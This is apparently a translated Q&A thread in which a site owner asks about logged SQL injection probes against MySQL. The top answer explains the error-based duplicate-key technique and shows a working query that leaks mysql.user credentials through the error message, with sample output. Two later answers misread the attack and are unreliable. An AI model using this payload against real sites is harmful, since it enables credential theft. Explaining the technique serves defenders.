14

我在我的网站上检测到一些失败的 SQL 注入攻击。失败的查询具有以下形式:

SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x)

':sjw:1:ukt:1'部分是特殊构造的,变量连接在一起以给出随机的 0 或 1 等。

我想知道这些查询是做什么的?

数据库是 MySQL。

更新:这是原始注入的 SQL:

(SELECT 6106
 FROM  (SELECT COUNT(*),
               CONCAT(
                        CHAR(58, 115, 106, 119, 58), 
                        (SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )), 
                        CHAR(58, 117, 107, 116, 58), 
                        FLOOR(RAND(0) * 2)
                      ) x
        FROM   INFORMATION_SCHEMA.TABLES
        GROUP  BY x)a) 

它失败并显示消息

键 'group_key' 的重复条目 ':sjw:1:ukt:1'

4

3 回答 3

25

攻击的真正作用

其他回答者错过了有关此攻击的一个微妙但巧妙的细节。注意错误消息Duplicate entry ':sjw:1:ukt:1' for key 'group_key'。该字符串:sjw:1:ukt:1实际上是您的 MySQL 服务器评估的表达式的结果。如果您的应用程序将 MySQL 错误字符串发送回浏览器,则错误消息可能会从您的数据库中泄漏数据。

这种攻击用于查询结果没有以其他方式发送回浏览器(盲 SQL 注入)的情况,或者经典的 UNION SELECT 攻击难以实施的情况。它也适用于 INSERT/UPDATE/DELETE 查询。

正如 Hawili 所指出的,最初的特定查询不应该泄漏任何信息,它只是一个测试,看看您的应用程序是否容易受到这种注入的攻击。

攻击并没有像 MvG 建议的那样失败,导致此错误是查询的目的。

一个更好的例子来说明如何使用它:

> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
>                        0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'

为什么会引发错误

为什么查询会在 MySQL 中导致这个错误对我来说有点神秘。它看起来像一个 MySQL 错误,因为 GROUP BY 应该通过聚合它们来处理重复的条目。Hawili 对查询的简化实际上并不会导致错误!

该表达式FLOOR(RAND(0)*2)基于随机种子参数 0 按顺序给出以下结果:

> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
 ...

因为第 3 个值与第 2 个重复,所以会抛出此错误。任何至少有 3 行的 FROM 表都可以使用,但 information_schema.tables 是常见的。COUNT(*) 和 GROUP BY 部分是在 MySQL 中引发错误所必需的:

> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

在 PostgreSQL 等效查询中不会发生此错误:

# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
 count | x 
-------+---
    83 | 0
    90 | 1

(很抱歉迟到了 1 年,但我今天偶然发现了这个问题。这个问题对我来说很有趣,因为我不知道有办法通过 MySQL 的错误消息泄漏数据)

于 2013-10-27T16:04:32.323 回答
0

执行带括号的子查询将为您提供系统中的表数。我想主要目的可能是创建查询并查看生成的 HTML 中输出出现的位置。因此随机字符串。外部SELECT无效,因为它的子查询没有别名。所以我认为这个错误是这次攻击失败的原因。他们可能一直在尝试查看可以注入哪些句法结构以及哪些会破坏查询。

于 2012-08-03T00:52:06.217 回答
0

Select 只会输出数字,所以在你的情况下答案总是 6106

SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x 

应该给出一个不同的答案,它将给出系统中的表数加上在名称 x 下插入的随机文本,仅此而已

简而言之,它是一个毫无意义的查询,内部查询的结果永远不会显示,整个查询的结果是预先确定的,似乎注入以某种方式自动以这种奇怪的方式记录攻击

于 2012-08-03T00:54:49.537 回答